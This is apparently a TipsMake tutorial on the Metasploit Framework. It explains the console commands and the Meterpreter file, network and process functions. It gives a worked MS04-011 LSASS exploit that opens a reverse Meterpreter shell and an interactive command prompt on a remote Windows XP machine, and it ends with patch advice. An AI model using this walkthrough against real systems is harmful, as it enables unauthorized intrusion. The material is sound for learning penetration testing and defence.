# Metasploit - Tool to exploit vulnerabilities

The Metasploit Framework is an environment used to test, attack, and exploit service errors. Metasploit is built from Perl object-oriented language, with components written in C, assembler, and Python. Metasploit can run on most operating systems: Linux, Windows, MacOS.

**METASPLOIT**

## 1. Introduce Metasploit

The Metasploit Framework is an environment used to test, attack, and exploit service errors. Metasploit is built from Perl object-oriented language, with components written in C, assembler, and Python. Metasploit can run on most operating systems: Linux, Windows, MacOS. You can download the program at *metasploit.com* .

Metasploit can automatically update starting from version 2.2 onwards, using the **msfupdate.bat** script in the installation directory

## 2. Components of Metasploit

Metasploit supports multiple interfaces with users:

1. **Console interface:** Use msfconsole.bat. The Msfconsole interface uses the command line to configure and test so it is faster and more flexible
2. **Web interface:** Use msfweb.bat, communicate with users through the web interface
3. **Command line interface:** Use msfcli.bat

Environment:

1. **Global Environment:** Executed through 2 setg and unsetg statements, the options assigned here will be global, included in all exploits modules.
2. **Temporary Environment:** Executed via 2 set and unset statements, this environment can only be entered into the module exploit currently loading, not affecting other exploit modules.

You can save the environment you have configured via the save command. That environment will be saved in /.msf/config and will be loaded again when the user interface is done.

Which options are shared between module exploits such as: LPORT, LHOST, PAYLOAD, you should be defined in the Global Environment.

For example:

```
msf> setg LPORT 80
msf> setg LHOST 172.16.8.2
```

# 3. How to use the Metasploit framework

### 3.1. Select module exploit:

Select the faulty program or service that Metasploit supports to exploit.

1. **show exploits:** See the exploit modules that the framework supports
2. **use exploit_name:** Select the module exploit
3. **info exploit_name** : See information about module exploit

You should regularly update service errors on metasploit.com or via msfupdate.bat script

### 3.2. The exploit module configuration has been selected:

1. **show options:** Determine what options to configure
2. **set** : Configure the options for that module

Some modules also have advanced options, which you can view by typing the **show advanceds** command

### 3.3. Confirm the configuration options:

1. **check:** Check if the options are set correctly.

### 3.4. Select target:

Select the operating system you want to perform.

1. **show targets:** the targets provided by that module.
2. **set** : determine which target

For example:

```
smf> use windows_ssl_pct
show targets
```

Exploit will list the targets such as: winxp, winxp SP1, win2000, win2000 SP1

### 3.5. Select payload:

Payload is the code that will run on the remote computer system.

1. **show payloads:** List the current payload of the exploit module
2. **info payload_name:** See that payload details
3. **set PAYLOAD payload_name:** Determine module name payload. After selecting the payload, use the show option command to see the payload options.
4. **show advanced:** See the advanced options of that payload.

### 3.6. Execute exploit:

1. **exploit: The** command used to execute the payload code. Payload will then provide you with information about the system being exploited.

# 4. Introduce the payload meterpreter

Meterpreter, short for Meta-Interpreter is an advanced payload included in the Metasploit framework. Its purpose is to provide scripts to exploit and attack remote computers. It is written from developers in the form of shared object (DLL) files. Meterpreter and extension components implemented in memory, are not written to disk, so detection from antivirus software can be avoided.

Meterpreter provides a script so we can exploit on remote computers:

1. **Fs:** Allows uploading and downloading files from remote machines
2. **Net:** Allows viewing network information of remote machines such as IP, route table
3. **Process:** Allows creation of new processes on remote machines
4. **Sys:** Allows viewing system information of remote machines

**Use the command:**

1. *use -m module1, module2, module3 [-p path] [-d]* : The use statement is used to load extension modules of meterpreter such as: Fs, Net, Process.
2. *loadlib -f library [-t target] [-lde]* : The command allows loading libraries of remote machines.
3. *read channel_id [length]* : The read command allows you to view the data of the remote machine on the connected channel.
4. *write channel_id* : Write command that allows writing data to remote machines.
5. *close channel_id* : Close the channel that is connected to the remote computer.
6. *interact channel_id* : Start a session with the channel just set with the remote machine.
7. *initcrypt cipher [parameters]* : Data encryption is sent between the host and remote machine.

**Using Fs module:** Allows uploading and downloading files from remote machines.

1. *cd directory:* Same as the cd command of the command line
2. *getcwd:* Indicates the current working directory
3. *ls [filter_string]* : list directories and files
4. *upload src1 [src2 .] dst* : Upload file
5. *download src1 [src2 .] dst* : Download file

**Use Net module:**

1. *ipconfig*
2. *route:* View the routing table of the remote machine.
3. *portfwd [-arv] [-L laddr] [-l lport] [-h rhost] [-p rport] [-P]* : Allows you to create a forward port between the host and remote machine.

**Using Process module:**

1. *execute -f file [-a args] [-Hc]* : The execute command allows you to create a new process on the remote machine and use that process to exploit data

2. *kill pid1 pid2 pid3* : Cancel processes running on the remote machine
3. *ps* : List processes of remote machine.

**Using Sys module:**

1. *getuid* : Indicates the current username of the remote machine
2. *sysinfo* : Give information about computer name, operating system.

# 5. For example

The localhost with 192.168.1.1 address will attack the remote machine with the address 192.168.1.2 through the error Lsass_ms04_011. This is a stack overflow error in LSA (Local Security Authority) service. Lsass.exe is a process of Microsoft Windows system, responsible for local security authentication, Active Directory management and login policies. Lsass controls both client and server authentication.

```
Msf> use Lsass_ms04_011

Msf> set PAYLOAD win32_reverse_meterpreter

Msf> set RHOST 192.168.1.2

Msf> set LHOST 192.168.1.1

Msf> Exploitation

Meterpreter> help

Meterpreter> use -m P // add the process script

Meterpreter> help

Meterpreter> ps // list of processes for which the remote machine is running

Meterpreter> kill // turn off processes for which the remote machine is running

Meterpreter> // attack using comandline cmd of remote machine

execute: success, process id is 3516.

execute: allocated channel 1 for new process.

meterpreter> interact 1

interact: Switching to interactive console on 1 .

interact: Started interactive channel 1.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C: WINDOWS> echo Meterpreter interactive channel in action
```

```
echo Meterpreter interactive channel in action

Meterpreter interactive channel in action

C: WINDOWS> ipconfig

Caught Ctrl-C, close interactive session?  [y / N] y

meterpreter>
```

# 6. How to prevent

Regularly update Microsoft patches. For example, if Metasploit cannot exploit Lsass_ms04_011 error, you must update the Microsoft patch. According to Microsoft, this is a serious error, available on almost all Windows operating systems. You should use the hotfix that has a number of 835732 to patch the above.

**TipsMake.com and readers thank you:**
Viking - (ENS Group) - Adminvietnam (vuevietnam.com/forum) has cooperated to submit this article.
**E mail:** thanhtung22@gmail.com

See more:

1. The most basic insights to becoming a Hacker - Part 1
2. Basic Hack Techniques - Part I
3. 10 best Hacking and security tools for Linux
4. The way Hacker uses to remain anonymous

You finished reading the article "**Metasploit - Tool to exploit vulnerabilities**" edited by the **TipsMake** team. We hope this article has provided you with many useful tech tips and tricks. You can search for similar articles on tips and guides. Thank you for reading and for following us regularly.